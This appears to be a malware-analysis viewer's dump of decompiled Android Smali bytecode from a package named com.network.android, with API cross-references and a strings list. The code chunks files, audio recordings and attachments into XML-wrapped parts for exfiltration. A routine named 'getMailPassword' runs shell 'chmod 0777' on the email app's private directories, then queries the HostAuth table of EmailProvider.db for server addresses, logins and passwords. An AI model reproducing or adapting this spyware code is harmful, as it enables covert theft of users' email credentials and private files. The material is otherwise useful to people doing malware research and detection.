      57const-string v1, "chunkData read return value was 0. somthing is wrong. returning"
      59invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      60try_end_5c: if-eqz v8, :cond_61
      61try_start_5e:
      62invoke-virtual {v8}, Ljava/io/FileInputStream;->close()V
      63cond_61: const/4 v1, -0x1
      64goto_62: return v1
      65cond_63: const/4 v4, 0x1
      66move/from16 v0, p6
      67if-ne v4, v0, :cond_70
      68try_start_68:
      69invoke-static {v2}, Lcom/network/android/g;->a([B)Ljava/io/ByteArrayOutputStream;
      70move-result-object v2
      72invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
      73move-result-object v2
      74cond_70: sub-int p0, v1, v3
      75add-int/lit8 v5, v5, 0x1
      76if-le v5, v6, :cond_82
      78const-string v1, "chunkData nChunks > totalFiles. somthing is wrong. returning"
      80invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      81try_end_7b: if-eqz v8, :cond_80
      82try_start_7d:
      83invoke-virtual {v8}, Ljava/io/FileInputStream;->close()V
      84try_end_80: const/4 v1, -0x1
      85goto/16 :goto_62
      86cond_82: packed-switch p4, :pswitch_data_2e2
      87pswitch_85:
      88const-string v1, "Chunker chunkData - bad value. returning"
      90invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      91try_end_8a: if-eqz v8, :cond_8f
      92try_start_8c:
      93invoke-virtual {v8}, Ljava/io/FileInputStream;->close()V
      94cond_8f: const/4 v1, -0x1
      95goto/16 :goto_62
      96try_start_91: new-instance v1, Ljava/lang/StringBuilder;
      98const-string v3, "File_"
      100invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      102invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      103move-result-object v1
      105const-string v3, "_part_"
      107invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      108move-result-object v1
      110invoke-static {v5}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
      111move-result-object v3
      113invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      114move-result-object v1
      116const-string v3, "_T_"
      118invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      119move-result-object v1
      120move-object/from16 v0, p3
      122invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      123move-result-object v1
      125const-string v3, ".dat"
      127invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      128move-result-object v1
      130invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      131move-result-object v4
      133const-string v1, "buildSendFileHeader start"
      135invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      136new-instance v1, Ljava/lang/StringBuilder;
      138const-string v3, "buildSendFileHeader totalFiles: "
      140invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      142invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      143move-result-object v1
      145const-string v3, " fileNum: "
      147invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      148move-result-object v1
      150invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      151move-result-object v1
      153invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      154move-result-object v1
      156invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      158invoke-static {}, Landroid/util/Xml;->newSerializer()Lorg/xmlpull/v1/XmlSerializer;
      159move-result-object v1
      160new-instance v3, Ljava/io/StringWriter;
      162invoke-direct {v3}, Ljava/io/StringWriter;-><init>()V
      164invoke-static {v1, v3}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;)V
      166const-string v7, ""
      168const-string v11, "fileSystemList"
      170invoke-interface {v1, v7, v11}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      172const-string v7, ""
      174const-string v11, "timestamp"
      175move-object/from16 v0, p3
      177invoke-interface {v1, v7, v11, v0}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      179const-string v7, ""
      181const-string v11, "fileData"
      183invoke-interface {v1, v7, v11}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      185const-string v7, ""
      187const-string v11, "timestamp"
      188move-object/from16 v0, p3
      190invoke-interface {v1, v7, v11, v0}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      192const-string v7, ""
      194const-string v11, "type"
      196const-string v12, "file"
      198invoke-interface {v1, v7, v11, v12}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      200const-string v7, ""
      202const-string v11, "originalTimestamp"
      203move-object/from16 v0, p3
      205invoke-interface {v1, v7, v11, v0}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      207const-string v7, ""
      209const-string v11, "commandAck"
      210move-object/from16 v0, p5
      212invoke-interface {v1, v7, v11, v0}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      214const-string v7, ""
      216const-string v11, "originalFilename"
      217new-instance v12, Ljava/io/File;
      219invoke-direct {v12, p2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      221invoke-virtual {v12}, Ljava/io/File;->getName()Ljava/lang/String;
      222move-result-object v12
      224invoke-interface {v1, v7, v11, v12}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      225const/4 v7, 0x1
      226move/from16 v0, p6
      227if-ne v7, v0, :cond_1b3
      229const-string v7, ""
      231const-string v11, "isCompressed"
      233const-string v12, "true"
      235invoke-interface {v1, v7, v11, v12}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      236goto_146:
      237const-string v7, ""
      239const-string v11, "length"
      240array-length v12, v2
      242invoke-static {v12}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
      243move-result-object v12
      245invoke-interface {v1, v7, v11, v12}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      247const-string v7, ""
      249const-string v11, "contentType"
      251const-string v12, "text/plain"
      253invoke-interface {v1, v7, v11, v12}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      255const-string v7, ""
      257const-string v11, "file"
      259invoke-interface {v1, v7, v11, v4}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      261const-string v7, ""
      263const-string v11, "totalFiles"
      264new-instance v12, Ljava/lang/Integer;
      266invoke-direct {v12, v6}, Ljava/lang/Integer;-><init>(I)V
      268invoke-virtual {v12}, Ljava/lang/Integer;->toString()Ljava/lang/String;
      269move-result-object v12
      271invoke-interface {v1, v7, v11, v12}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      273const-string v7, ""
      275const-string v11, "fileNum"
      276new-instance v12, Ljava/lang/Integer;
      278invoke-direct {v12, v5}, Ljava/lang/Integer;-><init>(I)V
      280invoke-virtual {v12}, Ljava/lang/Integer;->toString()Ljava/lang/String;
      281move-result-object v12
      283invoke-interface {v1, v7, v11, v12}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      285const-string v7, ""
      287const-string v11, "fileData"
      289invoke-interface {v1, v7, v11}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      291const-string v7, ""
      293const-string v11, "fileSystemList"
      295invoke-interface {v1, v7, v11}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      297invoke-static {v1}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;)V
      299const-string v1, "buildSendFileHeader end"
      301invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      303invoke-virtual {v3}, Ljava/io/StringWriter;->toString()Ljava/lang/String;
      304move-result-object v1
      305goto_19c: const/4 v3, 0x1
      306new-array v3, v3, [Ljava/lang/String;
      307const/4 v7, 0x0
      308aput-object v4, v3, v7
      309const/4 v4, 0x1
      310new-array v4, v4, [[B
      311const/4 v7, 0x0
      312aput-object v2, v4, v7
      313if-eqz v1, :cond_1af
      314move-object/from16 v0, p7
      316invoke-static {v1, v3, v4, v0}, Lcom/network/android/j;->a(Ljava/lang/String;[Ljava/lang/String;[[BLandroid/content/Context;)V
      317cond_1af: move v2, v9
      318move v1, p0
      319goto/16 :goto_46
      320cond_1b3:
      321const-string v7, ""
      323const-string v11, "isCompressed"
      325const-string v12, "false"
      327invoke-interface {v1, v7, v11, v12}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      328try_end_1bc: goto/16 :goto_146
      329catch_1bd: move-exception v1
      330try_start_1be: new-instance v2, Ljava/lang/StringBuilder;
      332const-string v3, "chunkData sending chunk"
      334invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      336invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      337move-result-object v3
      339invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      340move-result-object v2
      342invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      343move-result-object v2
      345invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      346try_end_1d4: if-eqz v8, :cond_1d9
      347try_start_1d6:
      348invoke-virtual {v8}, Ljava/io/FileInputStream;->close()V
      349cond_1d9: const/4 v1, -0x1
      350goto/16 :goto_62
      351try_start_1dc: new-instance v1, Ljava/lang/StringBuilder;
      353const-string v3, "Recording_"
      355invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      357invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      358move-result-object v1
      360const-string v3, "_part_"
      362invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      363move-result-object v1
      365invoke-static {v5}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
      366move-result-object v3
      368invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      369move-result-object v1
      371const-string v3, "_T_"
      373invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      374move-result-object v1
      375move-object/from16 v0, p3
      377invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      378move-result-object v1
      380const-string v3, ".dat"
      382invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      383move-result-object v1
      385invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      386move-result-object v4
      387move/from16 v1, p6
      388move-object/from16 v3, p3
      389move-object/from16 v7, p5
      391invoke-static/range {v1 .. v7}, Lcom/network/media/r;->a(I[BLjava/lang/String;Ljava/lang/String;IILjava/lang/String;)Ljava/lang/String;
      392move-result-object v1
      393goto/16 :goto_19c
      394pswitch_216: new-instance v1, Ljava/lang/StringBuilder;
      396const-string v3, "Attachment_"
      398invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      400invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      401move-result-object v1
      403const-string v3, "_part_"
      405invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      406move-result-object v1
      408invoke-static {v5}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
      409move-result-object v3
      411invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      412move-result-object v1
      414const-string v3, "_T_"
      416invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      417move-result-object v1
      418move-object/from16 v0, p3
      420invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      421move-result-object v1
      423const-string v3, ".dat"
      425invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      426move-result-object v1
      428invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      429move-result-object v4
      430move-object/from16 v0, p3
      432invoke-static {v0, v4, v5, v6, v10}, Lcom/network/android/r;->a(Ljava/lang/String;Ljava/lang/String;IILjava/lang/Object;)Ljava/lang/String;
      433try_end_24a: move-result-object v1
      434goto/16 :goto_19c
      435catch_24d: move-exception v1
      436try_start_24e: new-instance v3, Ljava/lang/StringBuilder;
      438const-string v4, "chunkData io exception: "
      440invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      442invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
      443move-result-object v4
      445invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      446move-result-object v3
      448invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      449move-result-object v3
      451invoke-static {v3, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      452const/4 v1, 0x1
      453const/16 v3, 0x72
      455const-string v4, "GET_FILE_IO_EXCEPTION"
      457invoke-static {v1, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      458try_end_26c: if-eqz v2, :cond_271
      459try_start_26e:
      460invoke-virtual {v2}, Ljava/io/FileInputStream;->close()V
      461try_end_271: const/4 v1, -0x1
      462goto/16 :goto_62
      463catch_274: move-exception v1
      464move-object v8, v2
      465try_start_276: new-instance v2, Ljava/lang/StringBuilder;
      467const-string v3, "chunkData sending chunks exception "
      469invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      471invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      472move-result-object v3
      474invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      475move-result-object v2
      477invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      478move-result-object v2
      480invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      481const/4 v1, 0x1
      482const/16 v2, 0x74
      484const-string v3, "GET_FILE_GENERAL_FAILURE"
      486invoke-static {v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      487try_end_294: if-eqz v8, :cond_299
      488try_start_296:
      489invoke-virtual {v8}, Ljava/io/FileInputStream;->close()V
      490cond_299: const/4 v1, -0x1
      491goto/16 :goto_62
      492catchall_29c: move-exception v1
      493move-object v8, v2
      494goto_29e: if-eqz v8, :cond_2a3
      496invoke-virtual {v8}, Ljava/io/FileInputStream;->close()V
      497cond_2a3: throw v1
      498catch_2a4: move-exception v1
      499new-instance v2, Ljava/lang/StringBuilder;
      501const-string v3, "chankData "
      503invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      505invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      506move-result-object v3
      508invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      509move-result-object v2
      511invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      512move-result-object v2
      514invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      515const/4 v1, 0x1
      516const/16 v2, 0x74
      518const-string v3, "GET_FILE_GENERAL_FAILURE"
      520invoke-static {v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      521const/4 v1, -0x1
      522goto/16 :goto_62
      523cond_2c6: if-eqz v8, :cond_2cb
      524try_start_2c8:
      525invoke-virtual {v8}, Ljava/io/FileInputStream;->close()V
      526try_end_2cb: const/4 v1, 0x0
      527goto/16 :goto_62
      528catchall_2ce: move-exception v1
      529goto/16 :goto_29e
      530catchall_2d0: move-exception v1
      531move-object v8, v2
      532goto/16 :goto_29e
      533catch_2d3: move-exception v1
      534goto/16 :goto_276
      535catch_2d5: move-exception v1
      536move-object v2, v8
      537goto/16 :goto_24e
      538cond_2d9: move v9, v2
      539goto/16 :goto_4e
      540cond_2dc: move-object v10, v1
      541move v2, v9
      542move v1, p0
      543goto/16 :goto_46
      544nop
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.ReentrantReadWriteLock.<init>
      • java.util.concurrent.locks.ReentrantReadWriteLock.readLock
      • java.util.concurrent.locks.Lock.lock
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToNext
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.Lock.unlock
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • java.util.concurrent.locks.Lock.unlock
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.Lock.unlock
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • /data/data/com.android.email
      • /data/data/com.android.email/databases
      • /data/data/com.android.email/databases/
      • getContent getMailPassword:
      • getMailPassword mail DB not exists -> exit!:
      • chmod 0777 /data/data/com.android.email; chmod 0777 /data/data/com.android.email/databases;
      • 0777
      • EmailProvider.db
      • select * from HostAuth
      • getContent getMailPassword count :
      • address
      • login
      • password
      • get getMailPassword host:
      • username:
      • password:
      • Mail
      • /
      • \r\n
      • get getMailPassword Throwable-
      • get getMailPassword finally-
      • get getMailPassword finally all-
      • get getMailPasswordfail to openDatabase:
      • /EmailProviderBody.db, try to open with OPEN_READONLY
      • chmod 0751 /data/data/com.android.email; chmod 0771 /data/data/com.android.email/databases;
      • 0666
      Position Instruction Meta Information
      0const/4 v1, 0x0
      1try_start_1:
      2const-string v0, "/data/data/com.android.email"
      4const-string v2, "/data/data/com.android.email/databases"
      6const-string v3, "/data/data/com.android.email/databases/"
      7new-instance v4, Ljava/lang/StringBuilder;
      9const-string v5, "getContent getMailPassword:"
      11invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      13invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      14move-result-object v4
      16invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      17move-result-object v4
      19invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      20new-instance v4, Ljava/io/File;
      22invoke-direct {v4, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      24invoke-virtual {v4}, Ljava/io/File;->exists()Z
      25move-result v4
      26if-nez v4, :cond_37
      27new-instance v1, Ljava/lang/StringBuilder;
      29const-string v2, "getMailPassword mail DB not exists -> exit!: "
      31invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      33invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      34move-result-object v0
      36invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      37move-result-object v0
      39invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      40goto_36: return-void
      41cond_37: new-instance v0, Ljava/util/concurrent/locks/ReentrantReadWriteLock;
      43invoke-direct {v0}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;-><init>()V
      45invoke-virtual {v0}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;->readLock()Ljava/util/concurrent/locks/ReentrantReadWriteLock$ReadLock;
      46try_end_3f: move-result-object v4
      47try_start_40:
      48const-string v0, "chmod 0777 /data/data/com.android.email; chmod 0777 /data/data/com.android.email/databases; "
      50invoke-static {v0}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      52const-string v0, "0777"
      54invoke-static {v2, v0}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/String;)V
      56invoke-interface {v4}, Ljava/util/concurrent/locks/Lock;->lock()V
      57try_end_4d: new-instance v0, Ljava/lang/StringBuilder;
      59invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      61invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      62move-result-object v0
      64const-string v5, "EmailProvider.db"
      66invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      67move-result-object v0
      69invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      70move-result-object v0
      71const/4 v5, 0x0
      72const/16 v6, 0x10
      74invoke-static {v0, v5, v6}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      75try_end_66: move-result-object v0
      76goto_67:
      77const-string v3, "select * from HostAuth"
      78const/4 v5, 0x0
      80invoke-virtual {v0, v3, v5}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      81move-result-object v1
      82new-instance v0, Ljava/lang/StringBuilder;
      84const-string v3, "getContent getMailPassword count : "
      86invoke-direct {v0, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      88invoke-interface {v1}, Landroid/database/Cursor;->getCount()I
      89move-result v3
      91invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      92move-result-object v0
      94invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      95move-result-object v0
      97invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      98goto_84:
      99invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z
      100move-result v0
      101if-eqz v0, :cond_184
      103const-string v0, "address"
      105invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      106move-result v0
      108invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      109move-result-object v0
      111const-string v3, "login"
      113invoke-interface {v1, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      114move-result v3
      116invoke-interface {v1, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      117move-result-object v3
      119const-string v5, "password"
      121invoke-interface {v1, v5}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      122move-result v5
      124invoke-interface {v1, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      125move-result-object v5
      126new-instance v6, Ljava/lang/StringBuilder;
      128const-string v7, "get getMailPassword host:"
      130invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      132invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      133move-result-object v6
      135const-string v7, " username: "
      137invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      138move-result-object v6
      140invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      141move-result-object v6
      143const-string v7, " password: "
      145invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      146move-result-object v6
      148invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      149move-result-object v6
      151invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      152move-result-object v6
      154invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      155if-eqz v3, :cond_84
      156if-eqz v5, :cond_84
      158const-string v6, "Mail "
      160invoke-virtual {p0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      162invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      163new-instance v0, Ljava/lang/StringBuilder;
      165const-string v6, " "
      167invoke-direct {v0, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      169invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      170move-result-object v0
      172const-string v3, "/"
      174invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      175move-result-object v0
      177invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      178move-result-object v0
      180invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      181move-result-object v0
      183invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      185const-string v0, "\r\n"
      187invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      188try_end_fb: goto/16 :goto_84
      189catch_fc: move-exception v0
      190try_start_fd: new-instance v2, Ljava/lang/StringBuilder;
      192const-string v3, "get getMailPassword Throwable- "
